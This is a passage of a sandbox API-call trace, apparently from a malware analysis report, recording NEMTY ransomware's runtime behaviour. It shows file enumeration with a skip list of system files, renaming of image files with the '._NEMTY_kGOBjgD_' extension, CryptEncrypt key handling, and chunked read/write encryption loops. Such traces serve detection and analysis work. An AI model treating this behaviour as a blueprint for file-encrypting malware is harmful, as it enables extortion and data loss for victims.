lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.972] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.972] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.982] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.982] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.982] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.982] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.991] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.991] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.001] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.001] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.010] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.010] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.020] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.020] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.020] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.020] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.029] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.029] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.029] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.029] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.035] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.035] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0118.041] CloseHandle (hObject=0xffffffff) returned 0 [0118.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0118.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0118.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0118.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0118.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0118.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0118.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0118.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0118.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0118.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0118.042] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_m.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_m.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_m.png._nemty_kgobjgd_")) returned 0 [0118.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0118.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0118.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0118.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0118.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0118.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0118.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0118.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0118.042] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aea06e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82aea06e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28859907, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb67, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="novelty_s.png", cAlternateFileName="")) returned 1 [0118.042] lstrcmpiW (lpString1="novelty_s.png", lpString2=".") returned 1 [0118.042] lstrcmpiW (lpString1="novelty_s.png", lpString2="..") returned 1 [0118.042] lstrcmpiW (lpString1="novelty_s.png", lpString2="...") returned 1 [0118.042] lstrcmpiW (lpString1="novelty_s.png", lpString2="windows") returned -1 [0118.042] lstrcmpiW (lpString1="novelty_s.png", lpString2="$RECYCLE.BIN") returned 1 [0118.042] lstrcmpiW (lpString1="novelty_s.png", lpString2="rsa") returned -1 [0118.042] lstrcmpiW (lpString1="novelty_s.png", lpString2="NTDETECT.COM") returned -1 [0118.042] lstrcmpiW (lpString1="novelty_s.png", lpString2="ntldr") returned -1 [0118.042] lstrcmpiW (lpString1="novelty_s.png", lpString2="MSDOS.SYS") returned 1 [0118.042] lstrcmpiW (lpString1="novelty_s.png", lpString2="IO.SYS") returned 1 [0118.042] lstrcmpiW (lpString1="novelty_s.png", lpString2="boot.ini") returned 1 [0118.042] lstrcmpiW (lpString1="novelty_s.png", lpString2="boot.ini") returned 1 [0118.042] lstrcmpiW (lpString1="novelty_s.png", lpString2="AUTOEXEC.BAT") returned 1 [0118.042] lstrcmpiW (lpString1="novelty_s.png", lpString2="ntuser.dat") returned -1 [0118.042] lstrcmpiW (lpString1="novelty_s.png", lpString2="desktop.ini") returned 1 [0118.042] lstrcmpiW (lpString1="novelty_s.png", lpString2="CONFIG.SYS") returned 1 [0118.042] lstrcmpiW (lpString1="novelty_s.png", lpString2="RECYCLER") returned -1 [0118.042] lstrcmpiW (lpString1="novelty_s.png", lpString2="BOOTSECT.BAK") returned 1 [0118.043] lstrcmpiW (lpString1="novelty_s.png", lpString2="bootmgr") returned 1 [0118.043] lstrcmpiW (lpString1="novelty_s.png", lpString2="programdata") returned -1 [0118.043] lstrcmpiW (lpString1="novelty_s.png", lpString2="appdata") returned 1 [0118.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0118.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_s.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0118.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_s.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="novelty_s.png", lpUsedDefaultChar=0x0) returned 13 [0118.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0118.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_s.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0118.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_s.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="novelty_s.png", lpUsedDefaultChar=0x0) returned 13 [0118.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0118.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0118.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0118.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_s.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0118.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_s.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="novelty_s.png", lpUsedDefaultChar=0x0) returned 13 [0118.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0118.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0118.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_s.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0118.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_s.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="novelty_s.png", lpUsedDefaultChar=0x0) returned 13 [0118.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0118.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0118.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0118.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0118.043] Sleep (dwMilliseconds=0x5) [0118.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfa03eab0, dwHighDateTime=0x1d561e7)) [0118.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfa03eab0, dwHighDateTime=0x1d561e7)) [0118.059] GetLastError () returned 0x5 [0118.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0118.059] GetLastError () returned 0x5 [0118.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0118.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0118.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0118.059] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0118.059] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0118.059] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0118.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0118.059] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="9sXxQcEi/W5BzMPKXivU5E/GjX/k9LSZ8ew105QkJHLxl8/e/3lBp0xRxC6UloVR\r\nXZRswE9nazZMyEZZCkrSgjjCFO1uwNIIlAVQVByViwWrKvG4yGxcn0Ij1Pga3se5\r\n9lilnf4H7qI45uxKeg0DeO+gEwbMaNuOiqoGa6ToXm7MnZDOoNk843HMmDzCoWMz\r\noyIn5fJt+gmi1BLDDC6PdOA5Zs59O8v7dTak80rY9ydSUeQ4aw7aoPuwnqqI2cTJ\r\nWPaa3Ee9ssGaArCpR4F67OgPoSzLI426j1ufv6ipyDOAGCm3hTUCA/ZdTFNtz2Pb\r\nSRRDdzf4WaO4SP7IFkUdjw==\r\n", pcchString=0x653e91c) returned 1 [0118.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0118.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0118.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0118.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0118.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0118.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0118.059] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_s.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0118.060] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0118.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0118.060] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.060] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.069] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.069] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.069] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.069] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.079] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.079] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.079] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.079] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.088] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.088] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.088] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.088] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.097] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.097] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.097] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.097] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.106] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.106] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.106] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.106] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.115] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.115] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.115] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.115] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.125] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.125] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.134] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.134] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.134] SetFilePointer (in: 